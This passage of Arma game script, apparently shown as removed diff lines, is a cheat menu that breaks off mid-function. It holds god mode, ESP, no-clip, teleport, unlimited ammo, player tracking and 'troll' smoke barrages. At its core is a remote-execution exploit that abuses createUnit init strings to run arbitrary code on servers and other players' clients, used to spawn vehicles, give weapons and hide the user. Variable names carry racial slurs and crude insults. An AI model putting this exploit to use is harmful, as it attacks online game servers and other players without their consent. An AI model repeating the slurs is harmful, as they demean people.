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- [0,{ ['GRINSPOON'] call {
- NNNN_IGGG___EEEEEEE_LLYYSSTTIICCC_SHIT_RE_OLD = {
- _t = _this;
- _text = _t;
- if (typename _t == typename[]) then {
- _text = _t select 0;
- };
- if (typename _text == "CODE") then {
- _arr = toArray str(_text);
- _arr set[0, 32];
- _arr set[count(_arr) - 1, 32];
- _text = toString _arr;
- };
- _text = format["unit=this;[] spawn {call compile toString %1;};", toArray _text];
- (typeof player) createUnit[[0, 0, 0], createGroup east, _text, 0, "corporal"];
- waitUntil {
- !isNil "unit"
- };
- unit setDamage 1;
- deleteVehicle unit;
- unit = nil;
- };
- NNNN_IGGG___EEEEEEE_LLYYSSTTIICCC_SHIT_RE = {
- RAPEF_HAS_A_NUGR_ = 'O_Soldier_F' createUnit[[0, 0, 0], (createGroup east), (_this select 0), 0.5, "CORPORAL"];
- };
- NNNN_IGGG___EEEEEEE_INIT_MENU = {
- [] spawn {
- if (isNil "NNNN_IGGG___EEEEEEE_M_E_N_U_hax_toggled") then {
- NNNN_IGGG___EEEEEEE_M_E_N_U_hax_toggled = [];
- };
- NNNN_IGGG___EEEEEEE_M_E_N_U_funcs_inited = nil;
- if (isNil "NNNN_IGGG___EEEEEEE_M_E_N_U_funcs_inited") then {
- call NNNN_IGGG___EEEEEEE_ANAL_PLOW;
- showcommandingmenu "";
- };
- waitUntil {
- !isNil "NNNN_IGGG___EEEEEEE_M_E_N_U_funcs_inited"
- };
- if (!isNull findDisplay 131) exitWith {};
- if !(createDialog "RscDisplayConfigureAction") exitWith {
- hintSilent "createDialog failed";
- };
- call NNNN_IGGG___EEEEEEE_M_E_N_U_initMenu;
- waitUntil {
- !dialog || !alive player
- };
- showcommandingmenu "";
- };
- };
- NNNN_IGGG___EEEEEEE_SPAWN_VEH = {
- _l12 = _this;
- _pos = player modelToWorld[0, 8, 0.2];memoryzbecool = "PlotPole_EPOCH" createVehicle _pos;isseigremory = memoryzbecool;publicvariable "gglolzingha";
- _l5 = getdir vehicle player;
- _pos = player modelToWorld[0, 8, 0.2];
- _pos = [(_pos select 0) + 8 * sin(_l5), (_pos select 1) + 8 * cos(_l5), 0];
- _xos = _pos select 0;
- _l13 = _pos select 1;
- _l14 = _pos select 2;
- _l15 = 999 + random(99999);
- J_M_E_Veh = format["if(isServer)then{call compile(""_l2632=create""+""Vehicle['%1',[%2,%3,%4],[],0,'CAN_COLLIDE'];_l7=_l2632 call objectUID;_l2632 setVariable['ObjectID',%5,true];_l2632 setVariable['ObjectUID',_l7,true];_l2632 setVariable['OwnerID',0,true];_l2632 setDir %6;serverObjectMonitor set[count serverObjectMonitor,_l2632];"");};", _l12, _xos, _l13, _l14, _l15, _l5];
- [J_M_E_Veh] call NNNN_IGGG___EEEEEEE_LLYYSSTTIICCC_SHIT_RE;
- cutText[format["%1 spawned", _l12], "PLAIN DOWN"];
- };
- NNNN_IGGG___EEEEEEE_SPAWN_WEAPON = {
- _l2633 = _this select 0;
- _l2635 = _this select 1;
- _l2636 = (gettext(configFile >> 'cfgWeapons' >> _l2635 >> 'displayName'));
- if ((_l2633 == name player) or(_l2633 == "")) then {
- _l2637 = getArray(configfile >> 'cfgWeapons' >> primaryweapon player >> 'magazines');
- _l2637 = _l2637 select 0;
- player removeMagazines _l2637;
- player removeWeapon primaryweapon player;
- player addWeapon _l2635;
- _l2638 = getArray(configfile >> 'cfgWeapons' >> _l2635 >> 'magazines');
- _l2639 = _l2638 select 0;
- player addMagazine _l2639;
- player addMagazine _l2639;
- player addMagazine _l2639;
- player addMagazine _l2639;
- player addMagazine _l2639;
- player selectWeapon _l2635;
- reload player;
- player action["WEAPONINHAND", player];
- cutText[format["%1 Added", _l2636], "PLAIN DOWN"];
- } else {
- _l30 = format["if(name player=='%1')then{_l2637=getArray(configfile>>'cfgWeapons'>>primaryweapon player>>'magazines');_l2637=_l2637 select 0;player removeMagazines _l2637;player removeWeapon primaryweapon player;_l2635='%2';player addWeapon _l2635;_l2638=getArray(configfile>>'cfgWeapons'>>_l2635>>'magazines');_l2639=_l2638 select 0;player addMagazine _l2639;player addMagazine _l2639;player addMagazine _l2639;player addMagazine _l2639;player addMagazine _l2639;player selectWeapon _l2635;reload player;player action[""WEAPONINHAND"",player];};", _l2633, _l2635];
- cutText[format["%1 Given to %2", _l2636, _l2633], "PLAIN DOWN"];
- [_l30] call NNNN_IGGG___EEEEEEE_LLYYSSTTIICCC_SHIT_RE;
- };
- };
- };
- ['Scripts'] call {
- ['Player'] call {
- NNNN_IGGG___EEEEEEE_grass = {
- if (isNil "NNNN_IGGG___EEEEEEE_change_terrain_NEGROllica") then {
- NNNN_IGGG___EEEEEEE_change_terrain_NEGROllica = true;
- } else {
- NNNN_IGGG___EEEEEEE_change_terrain_NEGROllica = !NNNN_IGGG___EEEEEEE_change_terrain_NEGROllica
- };
- if (NNNN_IGGG___EEEEEEE_change_terrain_NEGROllica) then {
- setTerrainGrid 50;
- hint "Grass Smoked";
- } else {
- setTerrainGrid 12.5;
- hint "Grass On";
- };
- };
- NNNN_IGGG___EEEEEEE_fly = {
- NNNN_IGGG___EEEEEEE_ = 5;
- NNNN_IGGG___EEEEEEE_leftAndRight = 2;
- NNNN_IGGG___EEEEEEE_upAndDown = 6;
- NNNN_IGGG___EEEEEEE_distanceFromGround = 1;
- NNNN_IGGG___EEEEEEE_hovering = nil;
- NNNN_IGGG___EEEEEEE_hoverPos = nil;
- NNNN_IGGG___EEEEEEE_move_forward = {
- if ((getPosATL(vehicle player) select 2) > NNNN_IGGG___EEEEEEE_distanceFromGround) then {
- _vehicle = (vehicle player);
- _vel = velocity _vehicle;
- _dir = direction _vehicle;
- _speed = 0.4;
- comment "Added speed";
- _vehicle setVelocity[(_vel select 0) + (sin _dir * _speed), (_vel select 1) +
- (cos _dir * _speed), 0.4];
- };
- };
- NNNN_IGGG___EEEEEEE_move_left = {
- if ((getPosATL(vehicle player) select 2) > NNNN_IGGG___EEEEEEE_distanceFromGround) then {
- _leftDirection = getdir(vehicle player);
- (vehicle player) setdir(_leftDirection) - NNNN_IGGG___EEEEEEE_leftAndRight;
- };
- };
- NNNN_IGGG___EEEEEEE_move_backward = {
- if ((getPosATL(vehicle player) select 2) > NNNN_IGGG___EEEEEEE_distanceFromGround) then {
- _vehicle = (vehicle player);
- _vel = velocity _vehicle;
- _dir = direction _vehicle;
- _speed = -0.4;
- comment "Added speed";
- _vehicle setVelocity[(_vel select 0) + (sin _dir * _speed), (_vel select 1) +
- (cos _dir * _speed), 0.4];
- };
- };
- NNNN_IGGG___EEEEEEE_move_right = {
- if ((getPosATL(vehicle player) select 2) > NNNN_IGGG___EEEEEEE_distanceFromGround) then {
- _rightDirection = getdir(vehicle player);
- (vehicle player) setdir(_rightDirection) + NNNN_IGGG___EEEEEEE_leftAndRight;
- player setVariable["lastPos", 1];
- player setVariable["lastPos", []];
- };
- };
- NNNN_IGGG___EEEEEEE_move_up = {
- if ((getPosATL(vehicle player) select 2) < NNNN_IGGG___EEEEEEE_distanceFromGround) then {
- };
- _vehicle = (vehicle player);
- _vel = velocity _vehicle;
- _dir = direction _vehicle;
- _speed = 3;
- comment "Added speed";
- _vehicle setVelocity[(_vel select 0), (_vel select 1), 4];
- };
- NNNN_IGGG___EEEEEEE_move_down = {
- if ((getPosATL(vehicle player) select 2) > NNNN_IGGG___EEEEEEE_distanceFromGround) then {
- _vehicle = (vehicle player);
- _forwardCurrentDirection = getdir(vehicle player);
- _forwardCurrentPosition = getPosATL(vehicle player);
- (vehicle player) setdir _forwardCurrentDirection;
- _vehicle setVelocity[0, 0, -4];
- };
- };
- toggle_hover = {
- if (isnil "NNNN_IGGG___EEEEEEE_hovering") then {
- NNNN_IGGG___EEEEEEE_hovering = true;
- titleText["Now NNNN_IGGG___EEEEEEE_hovering!", "PLAIN DOWN"];
- titleFadeOut 4;
- NNNN_IGGG___EEEEEEE_hoverPos = getPosATL(vehicle player);
- } else {
- NNNN_IGGG___EEEEEEE_hovering = nil;
- titleText["No longer NNNN_IGGG___EEEEEEE_hovering!", "PLAIN DOWN"];
- titleFadeOut 4;
- };
- };
- if (isnil "NNNN_IGGG___EEEEEEE_BelieveIcanFly") then {
- hint "Fly Mode ON";
- titleText["Press 'spacebar' to toggle hover.", "PLAIN DOWN"];
- titleFadeOut 4;
- NNNN_IGGG___EEEEEEE_BelieveIcanFly = true;
- NNNN_IGGG___EEEEEEE_keyForward = (findDisplay 46) displayAddEventHandler["KeyDown", "if ((_this select 1) == 17) then {call NNNN_IGGG___EEEEEEE_move_forward;}"];
- NNNN_IGGG___EEEEEEE_keyLeft = (findDisplay 46) displayAddEventHandler["KeyDown", "if ((_this select 1) == 30) then {call NNNN_IGGG___EEEEEEE_move_left;}"];
- NNNN_IGGG___EEEEEEE_keyBackward = (findDisplay 46) displayAddEventHandler["KeyDown", "if ((_this select 1) == 31) then {call NNNN_IGGG___EEEEEEE_move_backward;}"];
- NNNN_IGGG___EEEEEEE_keyRight = (findDisplay 46) displayAddEventHandler["KeyDown", "if ((_this select 1) == 32) then {call NNNN_IGGG___EEEEEEE_move_right;}"];
- NNNN_IGGG___EEEEEEE_keyUp = (findDisplay 46) displayAddEventHandler["KeyDown", "if ((_this select 1) == 16) then {call NNNN_IGGG___EEEEEEE_move_up;}"];
- NNNN_IGGG___EEEEEEE_keyDown = (findDisplay 46) displayAddEventHandler["KeyDown", "if ((_this select 1) == 44) then {call NNNN_IGGG___EEEEEEE_move_down;}"];
- NNNN_IGGG___EEEEEEE_keyHover = (findDisplay 46) displayAddEventHandler["KeyDown", "if ((_this select 1) == 57) then {call toggle_hover;}"];
- } else {
- hint "Fly Mode OFF";
- titleText["Going Down!", "PLAIN DOWN"];
- titleFadeOut 4;
- NNNN_IGGG___EEEEEEE_BelieveIcanFly = nil;
- (findDisplay 46) displayRemoveEventHandler["KeyDown", NNNN_IGGG___EEEEEEE_keyForward];
- (findDisplay 46) displayRemoveEventHandler["KeyDown", NNNN_IGGG___EEEEEEE_keyLeft];
- (findDisplay 46) displayRemoveEventHandler["KeyDown", NNNN_IGGG___EEEEEEE_keyBackward];
- (findDisplay 46) displayRemoveEventHandler["KeyDown", NNNN_IGGG___EEEEEEE_keyRight];
- (findDisplay 46) displayRemoveEventHandler["KeyDown", NNNN_IGGG___EEEEEEE_keyUp];
- (findDisplay 46) displayRemoveEventHandler["KeyDown", NNNN_IGGG___EEEEEEE_keyDown];
- (findDisplay 46) displayRemoveEventHandler["KeyDown", NNNN_IGGG___EEEEEEE_keyHover];
- };
- while {
- NNNN_IGGG___EEEEEEE_BelieveIcanFly
- }
- do {
- if (NNNN_IGGG___EEEEEEE_hovering) then {
- (vehicle player) setvelocity[0, 0, 0.2];
- };
- };
- };
- NNNN_IGGG___EEEEEEE_NoRecoil = {
- if (isnil("NNNN_IGGG___EEEEEEE_RECOIL")) then {
- NNNN_IGGG___EEEEEEE_RECOIL = 0;
- };
- if (NNNN_IGGG___EEEEEEE_RECOIL == 0) then {
- NNNN_IGGG___EEEEEEE_RECOIL = 1;
- hint "No Recoil";
- (vehicle player) setUnitRecoilCoefficient 0;
- } else {
- NNNN_IGGG___EEEEEEE_RECOIL = 0;
- hint "Recoil Enabled";
- (vehicle player) setUnitRecoilCoefficient 1;
- };
- };
- NNNN_IGGG___EEEEEEE_CLIP = {
- if (isNil "NNNN_IGGG___EEEEEEE_Noclip") then {
- NNNN_IGGG___EEEEEEE_Noclip = 0;
- };
- if (NNNN_IGGG___EEEEEEE_Noclip == 0) then {
- NNNN_IGGG___EEEEEEE_Noclip = 1;
- hint "No Clip ON";
- } else {
- NNNN_IGGG___EEEEEEE_Noclip = 0;
- hint "No Clip OFF";
- };
- while {
- NNNN_IGGG___EEEEEEE_Noclip == 1
- }
- do {
- _clipList = [];
- _objects = ((position player) nearObjects 100); {
- if !(_x in _clipList) then {
- _clipList = _clipList + [_x];
- player disableCollisionWith _x;
- };
- }
- forEach _objects; {
- if !(_x in _objects) then {
- _clipList = _clipList - [_x];
- player enableCollisionWith _x;
- };
- }
- forEach _clipList;
- sleep 5;
- }; {
- player enableCollisionWith _x;
- }
- forEach _clipList;
- };
- NNNN_IGGG___EEEEEEE_Invisable = {
- NNNN_IGGG___EEEEEEE_PLAYERLOL = vehicle player;
- publicvariable "NNNN_IGGG___EEEEEEE_PLAYERLOL";
- if (isNil "NNNN_IGGG___EEEEEEE_MeSideways") then {
- NNNN_IGGG___EEEEEEE_MeSideways = 0;
- };
- if (NNNN_IGGG___EEEEEEE_MeSideways == 0) then {
- NNNN_IGGG___EEEEEEE_MeSideways = 1;
- hint "Invisibility ON";
- } else {
- NNNN_IGGG___EEEEEEE_MeSideways = 0;
- hint "Invisibility OFF";
- };
- if (NNNN_IGGG___EEEEEEE_MeSideways == 1) then {
- _l26327 = "NNNN_IGGG___EEEEEEE_PLAYERLOL hideObject true;";
- [_l26327] call NNNN_IGGG___EEEEEEE_LLYYSSTTIICCC_SHIT_RE;
- } else {
- _l26327 = "NNNN_IGGG___EEEEEEE_PLAYERLOL hideObject false;";
- [_l26327] call NNNN_IGGG___EEEEEEE_LLYYSSTTIICCC_SHIT_RE;
- };
- };
- NNNN_IGGG___EEEEEEE_UNLIM = {
- if (isnil("NNNN_IGGG___EEEEEEE_Unlim_Ammo")) then {
- NNNN_IGGG___EEEEEEE_Unlim_Ammo = 0;
- };
- if (NNNN_IGGG___EEEEEEE_Unlim_Ammo == 0) then {
- NNNN_IGGG___EEEEEEE_Unlim_Ammo = 1;
- hint "Unlimited Ammo ON";
- } else {
- NNNN_IGGG___EEEEEEE_Unlim_Ammo = 0;
- hint "Unlimited Ammo OFF";
- };
- while {
- NNNN_IGGG___EEEEEEE_Unlim_Ammo == 1
- }
- do {
- _l2635 = primaryWeapon player;
- _l31 = secondaryWeapon player;
- player setAmmo[_l2635, 999];
- player setAmmo[_l31, 999];
- (vehicle player) setVehicleAmmo 1;
- (vehicle player) setVehicleAmmo 1;
- sleep 0.01;
- };
- };
- NNNN_IGGG___EEEEEEE_JNESUS_MODE = {
- if (isNil "NNNN_IGGG___EEEEEEE_G0d_Mode") then {
- NNNN_IGGG___EEEEEEE_G0d_Mode = 0;
- };
- if (NNNN_IGGG___EEEEEEE_G0d_Mode == 0) then {
- NNNN_IGGG___EEEEEEE_G0d_Mode = 1;
- hint "Jesus ON";
- cutText[format["Jesus ON"], "PLAIN"];
- fnc_usec_damageHandler = {};
- fnc_usec_unconscious = {};
- player removeAllEventHandlers "handleDamage";
- player addEventHandler["handleDamage", {
- false
- }];
- player allowDamage false;
- } else {
- NNNN_IGGG___EEEEEEE_G0d_Mode = 0;
- hint "Jesus OFF";
- cutText[format["Jesus OFF"], "PLAIN"];
- player addEventHandler["handleDamage", {
- true
- }];
- player removeAllEventHandlers "handleDamage";
- player allowDamage true;
- };
- };
- NNNN_IGGG___EEEEEEE_CarJNESUS_MODE = {
- if (isnil "NNNN_IGGG___EEEEEEE_Car_Jesus") then {
- NNNN_IGGG___EEEEEEE_Car_Jesus = 0
- };
- if (NNNN_IGGG___EEEEEEE_Car_Jesus == 0) then {
- hint format["Car Jesus ON"];
- NNNN_IGGG___EEEEEEE_Car_Jesus = 1;
- NNNN_IGGG___EEEEEEE_Car_Jesus_lol = true;
- while {
- NNNN_IGGG___EEEEEEE_Car_Jesus_lol
- }
- do {
- if ((vehicle player isKindOf "LandVehicle") || (vehicle player isKindOf "Air") || (vehicle player isKindOf "Ship")) then {
- if ((fuel(vehicle player)) < 0.9) then {
- vehicle player setFuel 1;
- };
- if ((damage(vehicle player)) != 0) then {
- vehicle player setdammage 0;
- };
- };
- sleep 0.01;
- };
- } else {
- hint format["Car Jesus OFF"];
- NNNN_IGGG___EEEEEEE_Car_Jesus_lol = false;
- NNNN_IGGG___EEEEEEE_Car_Jesus = 0;
- };
- };
- NNNN_IGGG___EEEEEEE_PlayerM = {
- NNNN_IGGG___EEEEEEE_Noobs = [];
- NNNN_IGGG___EEEEEEE_Bitches = [];
- if (isnil "NNNN_IGGG___EEEEEEE_Map_Markers") then {
- NNNN_IGGG___EEEEEEE_Map_Markers = 0;
- };
- if (NNNN_IGGG___EEEEEEE_Map_Markers == 0) then {
- NNNN_IGGG___EEEEEEE_Map_Markers = 1;
- hint "Player Markers ON";
- } else {
- NNNN_IGGG___EEEEEEE_Map_Markers = 0;
- hint "Player Markers OFF";
- };
- while {
- NNNN_IGGG___EEEEEEE_Map_Markers == 1
- }
- do {
- {
- if ((vehicle _x isKindOf "LandVehicle") || (vehicle _x isKindOf "Air") || (vehicle _x isKindOf "Ship")) then {
- if (count(crew vehicle _x) > 0) then {
- {
- if (!(_x in NNNN_IGGG___EEEEEEE_Noobs) and(alive _x) and(getPlayerUID _x != "")) then {
- private["_pos", "_l44", "_l45"];
- _l45 = vehicle _x;
- _pos = visiblePosition _x;
- _l44 = createMarkerLocal[format["CRW%1%2", _pos select 0, _pos select 1], [(_pos select 0) + 20, _pos select 1, 0]];
- _l8 = (gettext(configFile >> 'CfgVehicles' >> (typeof vehicle _x) >> 'displayName'));
- _l44 setMarkerTextLocal format['%1---%2---%3m', name _x, _l8, round(_x distance player)];
- _l44 setMarkerTypeLocal "mil_dot";
- if ((side _x == side player) and(side _x != resistance)) then {
- _l44 setMarkerColorLocal "ColorBlue";
- } else {
- _l44 setMarkerColorLocal "ColorRed";
- };
- _l44 setMarkerSizeLocal[1, 1];
- NNNN_IGGG___EEEEEEE_Noobs set[count NNNN_IGGG___EEEEEEE_Noobs, _x];
- [_x, _l44, _l45] spawn {
- private["_l46", "_l47", "_l48"];
- _l46 = _this select 0;
- _l47 = _this select 1;
- while {
- (NNNN_IGGG___EEEEEEE_Map_Markers == 1) and(alive _l46) and(vehicle _l46 != _l46) and(getPlayerUID _l46 != "")
- }
- do {
- _l48 = ((crew vehicle _l46) find _l46);
- _l47 setMarkerPosLocal([(visiblePosition _l46 select 0) + 20, (visiblePosition _l46 select 1) - (25 + _l48 * 20), 0]);
- sleep 0.01;
- };
- deleteMarkerLocal _l47;
- if (_l46 in NNNN_IGGG___EEEEEEE_Noobs) then {
- NNNN_IGGG___EEEEEEE_Noobs set[(NNNN_IGGG___EEEEEEE_Noobs find _l46), -1];
- NNNN_IGGG___EEEEEEE_Noobs = NNNN_IGGG___EEEEEEE_Noobs - [-1];
- };
- true;
- };
- };
- }
- forEach crew vehicle _x;
- };
- } else {
- if (!(_x in NNNN_IGGG___EEEEEEE_Bitches) and(vehicle _x == _x) and(getPlayerUID _x != "")) then {
- private["_pos", "_l44"];
- _pos = visiblePosition _x;
- _l44 = createMarkerLocal[format["PLR%1%2", _pos select 0, _pos select 1], [(_pos select 0) + 20, _pos select 1, 0]];
- _l44 setMarkerTypeLocal "mil_dot";
- _l44 setMarkerSizeLocal[1, 1];
- if ((side _x == side player) and(side _x != resistance)) then {
- _l44 setMarkerColorLocal "ColorWhite";
- } else {
- _l44 setMarkerColorLocal "ColorRedAlpha";
- };
- _l44 setMarkerTextLocal format["%1---%2", name _x, round(_x distance player)];
- if (_x == player) then {
- _l44 setMarkerColorLocal "ColorGreen";
- };
- NNNN_IGGG___EEEEEEE_Bitches set[count NNNN_IGGG___EEEEEEE_Bitches, _x];
- [_x, _l44] spawn {
- private["_l46", "_l47"];
- _l46 = _this select 0;
- _l47 = _this select 1;
- while {
- (NNNN_IGGG___EEEEEEE_Map_Markers == 1) and(alive _l46) and(vehicle _l46 == _l46) and(getPlayerUID _l46 != "")
- }
- do {
- _l47 setMarkerPosLocal([visiblePosition _l46 select 0, visiblePosition _l46 select 1, 0]);
- sleep 0.01;
- };
- deleteMarkerLocal _l47;
- if (_l46 in NNNN_IGGG___EEEEEEE_Bitches) then {
- NNNN_IGGG___EEEEEEE_Bitches set[(NNNN_IGGG___EEEEEEE_Bitches find _l46), -1];
- NNNN_IGGG___EEEEEEE_Bitches = NNNN_IGGG___EEEEEEE_Bitches - [-1];
- };
- true;
- };
- };
- };
- }
- forEach playableUnits;
- sleep 0.3;
- }; {
- _l44 = str _x;
- deleteMarkerLocal _l44;
- }
- forEach playableUnits;
- };
- NNNN_IGGG___EEEEEEE_E5P = {
- if (isnil("NNNN_IGGG___EEEEEEE_LLYYSSTTIICCCE5P")) then {
- NNNN_IGGG___EEEEEEE_LLYYSSTTIICCCE5P = 0;
- };
- if (NNNN_IGGG___EEEEEEE_LLYYSSTTIICCCE5P == 0) then {
- NNNN_IGGG___EEEEEEE_LLYYSSTTIICCCE5P = 1;
- hint "E5P ON";
- } else {
- NNNN_IGGG___EEEEEEE_LLYYSSTTIICCCE5P = 0;
- hint "E5P OFF";
- };
- if (NNNN_IGGG___EEEEEEE_LLYYSSTTIICCCE5P == 1) then {
- onEachFrame {
- _l49 = nearestobjects[player, ["CAManBase"], 1400]; {
- if ((side _x != side player) && (getPlayerUID _x != "") && ((player distance _x) < 1400)) then {
- drawIcon3D["", [1, 0, 0, 1], [visiblePosition _x select 0, visiblePosition _x select 1, (getPosATL _x select 2) + 2], 0.1, 0.1, 45, (format["%2 : %1m", round(player distance _x), name _x]), 1, 0.04, "TahomaB"]
- } else {
- if ((getPlayerUID _x != "") && ((player distance _x) < 1000)) then {
- drawIcon3D["", [0, 0.5, 1, 1], [visiblePosition _x select 0, visiblePosition _x select 1, (getPosATL _x select 2) + 2], 0.1, 0.1, 45, (format["%2 : %1m", round(player distance _x), name _x]), 1, 0.04, "TahomaB"]
- };
- };
- }
- foreach playableUnits;
- };
- } else {
- onEachFrame {
- nil
- };
- };
- };
- NNNN_IGGG___EEEEEEE_VehM = {
- if (isnil "NNNN_IGGG___EEEEEEE_Veh_M") then {
- NNNN_IGGG___EEEEEEE_Veh_M = 0;
- };
- if (NNNN_IGGG___EEEEEEE_Veh_M == 0) then {
- NNNN_IGGG___EEEEEEE_Veh_M = 1;
- hint "Vehicle Markers ON";
- } else {
- NNNN_IGGG___EEEEEEE_Veh_M = 0;
- hint "Vehicle Markers OFF";
- };
- while {
- NNNN_IGGG___EEEEEEE_Veh_M == 1
- }
- do {
- {
- NNNN_IGGG___EEEEEEE_Veh_Markers = str _x;
- deleteMarkerLocal NNNN_IGGG___EEEEEEE_Veh_Markers;
- NNNN_IGGG___EEEEEEE_Veh_Markers = createMarkerLocal[NNNN_IGGG___EEEEEEE_Veh_Markers, visiblePosition _x];
- NNNN_IGGG___EEEEEEE_Veh_Markers setMarkerTypeLocal "waypoint";
- NNNN_IGGG___EEEEEEE_Veh_Markers setMarkerPosLocal visiblePosition _x;
- NNNN_IGGG___EEEEEEE_Veh_Markers setMarkerSizeLocal[0.5, 0.5];
- NNNN_IGGG___EEEEEEE_Veh_Markers setMarkerTextLocal format['%1', typeOf _x];
- if ((_x isKindOf "Air") || (_x isKindOf "Tank")) then {
- NNNN_IGGG___EEEEEEE_Veh_Markers setMarkerColorLocal("ColorRed");
- } else {
- NNNN_IGGG___EEEEEEE_Veh_Markers setMarkerColorLocal("ColorBlue");
- };
- }
- forEach vehicles;
- sleep 1;
- }; {
- NNNN_IGGG___EEEEEEE_Veh_Markers = str _x;
- deleteMarkerLocal NNNN_IGGG___EEEEEEE_Veh_Markers;
- }
- forEach vehicles;
- };
- NNNN_IGGG___EEEEEEE_Tele = {
- closeDialog 0;
- openMap[true, false];
- sleep 0.01;
- showCommandingMenu "";
- onMapSingleClick 'player setpos _pos;openMap[false,false];onMapSingleClick "";false';
- };
- NNNN_IGGG___EEEEEEE_HealSelf = {
- life_thirst = 100;
- life_hunger = 100;
- player setFatigue 0;
- [
- [player, "bandage"], "fnc_say3D", nil, false
- ] spawn BIS_fnc_MP;
- antidote1 = 2581;
- sleep 0.1;
- player setDamage 0;
- sleep 0.1;
- [true] call life_fnc_sessionUpdate;
- [] call life_fnc_hudUpdate;
- hint "Healed";
- };
- };
- ['Troll'] call {
- NNNN_IGGG___EEEEEEE_smoke = {
- hint "Open the Map and Select the Map Position you want to rainbow";
- openMap[true, false];
- closedialog 0;
- aNUScODERZ = 'hint "Rainbow incomming, RUN!";';
- aNUScODERZ = aNUScODERZ + 'cpbLoops = 7;';
- aNUScODERZ = aNUScODERZ + 'cpLoopsDelay = 5.0;';
- aNUScODERZ = aNUScODERZ + 'for "_i" from 0 to cpbLoops do {';
- aNUScODERZ = aNUScODERZ + '"SmokeShell" createvehicle ([(cTargetPos select 0) - 50 + random 100, (cTargetPos select 1) - 50 + random 100, 200]);';
- aNUScODERZ = aNUScODERZ + '"SmokeShell" createvehicle ([(cTargetPos select 0) - 50 + random 100, (cTargetPos select 1) - 50 + random 100, 200]);';
- aNUScODERZ = aNUScODERZ + '"SmokeShellYellow" createvehicle ([(cTargetPos select 0) - 50 + random 100, (cTargetPos select 1) - 50 + random 100, 200]);';
- aNUScODERZ = aNUScODERZ + '"SmokeShellYellow" createvehicle ([(cTargetPos select 0) - 50 + random 100, (cTargetPos select 1) - 50 + random 100, 200]);';
- aNUScODERZ = aNUScODERZ + '"SmokeShellRed" createvehicle ([(cTargetPos select 0) - 50 + random 100, (cTargetPos select 1) - 50 + random 100, 200]);';
- aNUScODERZ = aNUScODERZ + '"SmokeShellRed" createvehicle ([(cTargetPos select 0) - 50 + random 100, (cTargetPos select 1) - 50 + random 100, 200]);';
- aNUScODERZ = aNUScODERZ + '"SmokeShellGreen" createvehicle ([(cTargetPos select 0) - 50 + random 100, (cTargetPos select 1) - 50 + random 100, 200]);';
- aNUScODERZ = aNUScODERZ + '"SmokeShellGreen" createvehicle ([(cTargetPos select 0) - 50 + random 100, (cTargetPos select 1) - 50 + random 100, 200]);';
- aNUScODERZ = aNUScODERZ + '"SmokeShellPurple" createvehicle ([(cTargetPos select 0) - 50 + random 100, (cTargetPos select 1) - 50 + random 100, 200]);';
- aNUScODERZ = aNUScODERZ + '"SmokeShellPurple" createvehicle ([(cTargetPos select 0) - 50 + random 100, (cTargetPos select 1) - 50 + random 100, 200]);';
- aNUScODERZ = aNUScODERZ + '"SmokeShellBlue" createvehicle ([(cTargetPos select 0) - 50 + random 100, (cTargetPos select 1) - 50 + random 100, 200]);';
- aNUScODERZ = aNUScODERZ + '"SmokeShellBlue" createvehicle ([(cTargetPos select 0) - 50 + random 100, (cTargetPos select 1) - 50 + random 100, 200]);';
- aNUScODERZ = aNUScODERZ + '"SmokeShellOrange " createvehicle ([(cTargetPos select 0) - 50 + random 100, (cTargetPos select 1) - 50 + random 100, 200]);';
- aNUScODERZ = aNUScODERZ + '"SmokeShellOrange " createvehicle ([(cTargetPos select 0) - 50 + random 100, (cTargetPos select 1) - 50 + random 100, 200]);';
- aNUScODERZ = aNUScODERZ + 'sleep cpLoopsDelay;};';
- aNUScODERZ = aNUScODERZ + 'cTargetPos = nil;cpbLoops = nil;cpLoopsDelay = nil;';
- onMapSingleClick "cTargetPos = _pos;[] spawn compile aNUScODERZ; onMapSingleClick '';true;";
- };
- NNNN_IGGG___EEEEEEE_smokered = {
- hint "Open the Map and Select the Map Position you want to rainbow";
- openMap[true, false];
- closedialog 0;
- aNUScODERZ = 'hint "Red and White Smoke!";';
- aNUScODERZ = aNUScODERZ + 'cpbLoops = 7;';
- aNUScODERZ = aNUScODERZ + 'cpLoopsDelay = 5.0;';
- aNUScODERZ = aNUScODERZ + 'for "_i" from 0 to cpbLoops do {';
- aNUScODERZ = aNUScODERZ + '"SmokeShell" createvehicle ([(cTargetPos select 0) - 50 + random 100, (cTargetPos select 1) - 50 + random 100, 200]);';
- aNUScODERZ = aNUScODERZ + '"SmokeShell" createvehicle ([(cTargetPos select 0) - 50 + random 100, (cTargetPos select 1) - 50 + random 100, 200]);';
- aNUScODERZ = aNUScODERZ + '"SmokeShellRed" createvehicle ([(cTargetPos select 0) - 50 + random 100, (cTargetPos select 1) - 50 + random 100, 200]);';
- aNUScODERZ = aNUScODERZ + '"SmokeShellRed" createvehicle ([(cTargetPos select 0) - 50 + random 100, (cTargetPos select 1) - 50 + random 100, 200]);';
- aNUScODERZ = aNUScODERZ + '"SmokeShellRed" createvehicle ([(cTargetPos select 0) - 50 + random 100, (cTargetPos select 1) - 50 + random 100, 200]);';
- aNUScODERZ = aNUScODERZ + '"SmokeShellRed" createvehicle ([(cTargetPos select 0) - 50 + random 100, (cTargetPos select 1) - 50 + random 100, 200]);';
- aNUScODERZ = aNUScODERZ + '"SmokeShell" createvehicle ([(cTargetPos select 0) - 50 + random 100, (cTargetPos select 1) - 50 + random 100, 200]);';
- aNUScODERZ = aNUScODERZ + '"SmokeShell" createvehicle ([(cTargetPos select 0) - 50 + random 100, (cTargetPos select 1) - 50 + random 100, 200]);';
- aNUScODERZ = aNUScODERZ + '"SmokeShellRed" createvehicle ([(cTargetPos select 0) - 50 + random 100, (cTargetPos select 1) - 50 + random 100, 200]);';
- aNUScODERZ = aNUScODERZ + '"SmokeShellRed" createvehicle ([(cTargetPos select 0) - 50 + random 100, (cTargetPos select 1) - 50 + random 100, 200]);';
- aNUScODERZ = aNUScODERZ + '"SmokeShellRed" createvehicle ([(cTargetPos select 0) - 50 + random 100, (cTargetPos select 1) - 50 + random 100, 200]);';
- aNUScODERZ = aNUScODERZ + '"SmokeShellRed" createvehicle ([(cTargetPos select 0) - 50 + random 100, (cTargetPos select 1) - 50 + random 100, 200]);';
- aNUScODERZ = aNUScODERZ + '"SmokeShell " createvehicle ([(cTargetPos select 0) - 50 + random 100, (cTargetPos select 1) - 50 + random 100, 200]);';
- aNUScODERZ = aNUScODERZ + '"SmokeShell " createvehicle ([(cTargetPos select 0) - 50 + random 100, (cTargetPos select 1) - 50 + random 100, 200]);';
- aNUScODERZ = aNUScODERZ + 'sleep cpLoopsDelay;};';
- aNUScODERZ = aNUScODERZ + 'cTargetPos = nil;cpbLoops = nil;cpLoopsDelay = nil;';
